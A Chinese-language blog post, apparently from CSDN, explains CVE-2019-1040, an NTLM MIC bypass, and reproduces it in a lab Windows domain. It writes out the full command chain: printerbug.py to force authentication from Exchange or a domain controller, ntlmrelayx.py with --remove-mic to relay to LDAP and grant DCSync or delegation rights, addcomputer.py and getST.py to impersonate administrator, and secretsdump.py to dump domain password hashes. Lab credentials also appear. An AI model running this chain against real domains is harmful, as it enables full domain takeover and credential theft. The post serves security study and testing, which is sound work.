CVE-2019-1040 原理及复现

CVE-2019-1040 复现

原理

​ CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷,攻击者可以利用该漏洞绕过NTLM MIC(消息完整性检查),修改NTLM身份验证流程中的签名要求(将TLMSSP_NEGOTIATE_ALWAYS_SIGN,NTLMSSP_NEGOTIATE_SIGN,NEGOTIATE_KEY_EXCHANGE,NEGOTIATE_VERSION置0),NEGOTIATE_KEY_EXCHANGE和NEGOTIATE_VERSION位置为0,就不再检验MIC了。攻击链中攻击者修改了数据包中阻止从SMB转发到LDAP的标志,并尝试中继到目标服务器。不强制执行签名的服务器都易受到攻击(域内只有域控制器强制签名smb,ldap为协商签名),通过这种攻击能使攻击者在仅有一个普通域账号的情况下可远程控制 Windows 域内的任何机器,包括域控服务器。

利用方法

利用1-exchange

​ 通过printerbug使exchange机器向攻击机发送认证回连攻击者的机器,再使用ntlmrelayx --remove-mic参数绕过NTLM MIC校验,将smb中继到LDAP进行身份认证。

​ 打印机的spoolsv.exe服务允许用户远程调用,当用户向RemoteFindFirstPrinterChangeNotificationEx该函数传入一个UNC路径进行更新作业,打印机服务就回去请求该UNC路径,由于spoolsv.exe是system权限运行的,使用该账户对网络资源进行身份验证可能会出现安全问题,所以就迫使打印机更新作业的请求为机器账户

​ 这里为什么是使用exchange的机器对我们发起认证,是因为Exchange机器账号有WriteACL的权限,为攻击者指定的帐户授予DCSync,随后攻击者使用secretsdump导出域内哈希。

利用2-Kerberos 委派

​ 与exchange攻击方式相同,只是在执行ntlmrelayx.py 本时,需要使用 --delegate-access 选项,delegate-access 选项将中继计算机帐户(这里即辅助域控制器)的访问权限委托给攻击机器。

复现

利用-exchange

192.168.3.4 kali 攻击机

192.168.3.9 域控机器

192.168.3.144 域控(exchange)

域内用户:rootkit.org\jerry

利用打印机漏洞

利用打印机漏洞,使用域用户jerry使用exchange对我的kali进行认证。

python3 printerbug.py rootkit.org/jerry@192.168.3.144 192.168.3.4

在这里插入图片描述

利用ntlmrelayx.py脚本中继攻击

利用ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭证中继到LDAP协议。

该脚本会判断当前用户是否具有 创建用户,将用户添加到Enterprise Admins的权限,修改域ACL。

python3 ntlmrelayx.py --remove-mic --escalate-use jerry -t ldap://192.168.3.9 -smb2support

清除Mic标志
--remove-mic

指定要提升权限的用户
–escalate-user

指定中继到kali的ldap协议
-t

这里可以看到向我们发起请求的是OWA2013$ exchange的机器用户,Exchange机器账号有WriteACL的权限,为攻击者指定的帐户授予DCSync,随后攻击者使用secretsdump导出域内哈希。

在这里插入图片描述

在这里插入图片描述

使用当前用户dcsync
python3 secretsdump.py rootkit.org/jerry@192.168.3.9 -just-dc

在这里插入图片描述

利用Kerberos委派

192.168.3.4 kali 攻击机

192.168.3.9 辅助域控机器

192.168.3.144 域控(exchange)

域内用户:rootkit.org\jerry

利用1 添加机器用户设置约束委派

添加一个机器账户
python3 addcomputer.py -computer-name '9z1nc' -computer-pass '9z1nc' -dc-ip 192.168.3.9 'rootkit.org/jerry:Admin12345' -method SAMR -debug

在这里插入图片描述

利用ntlmrelayx.py脚本中继攻击
python3 ntlmrelayx.py --remove-mic --escalate-user 9z1nc$ -t ldap://192.168.3.144 -smb2support --delegate-access

--escalate-user 参数设置9z1nc$资源委派
--delegate-access 将中继计算机帐户DC$(辅助域控制器)的访问权限委托给kali攻击机

触发辅助域控制器回连kali攻击机,这里回连认证的用户就是dc$用户

这里可以看到设置了9z1nc$到DC$辅助域控制器的约束委派授权,后续使用9z1nc$用户去申请

在这里插入图片描述

迫使辅助域控向我们发送认证
python3 printerbug.py rootkit.org/jerry:Admin12345@192.168.3.9 192.168.3.4

在这里插入图片描述

模拟administrtaor用户票据
python3 getST.py -spn host/dc.rootkit.org 'rootkit.org'/'9z1nc$:9z1nc' -impersonate administrator

9z1nc$到dc$的s4u2self,通过-impersonate参数模拟用户administrator的票据,获取administrator的权限

注意:这里为了能访问到dc.rootkit.org我在kali 的host文件中加了一条192.168.3.9 dc.rootkit.org

在这里插入图片描述

利用secretsdump.py导出域内hash

导入刚刚生成的票据,即可访问到辅助域控制器,在目标主机(辅助域控制器)上模拟administrator身份,利用secretsdump转储哈希值。

export KRB5CCNAME=administrator@host_dc.rootkit.org@ROOTKIT.ORG.ccache
python3 secretsdump.py -k -no-pass dc.rootkit.org -just-dc

在这里插入图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值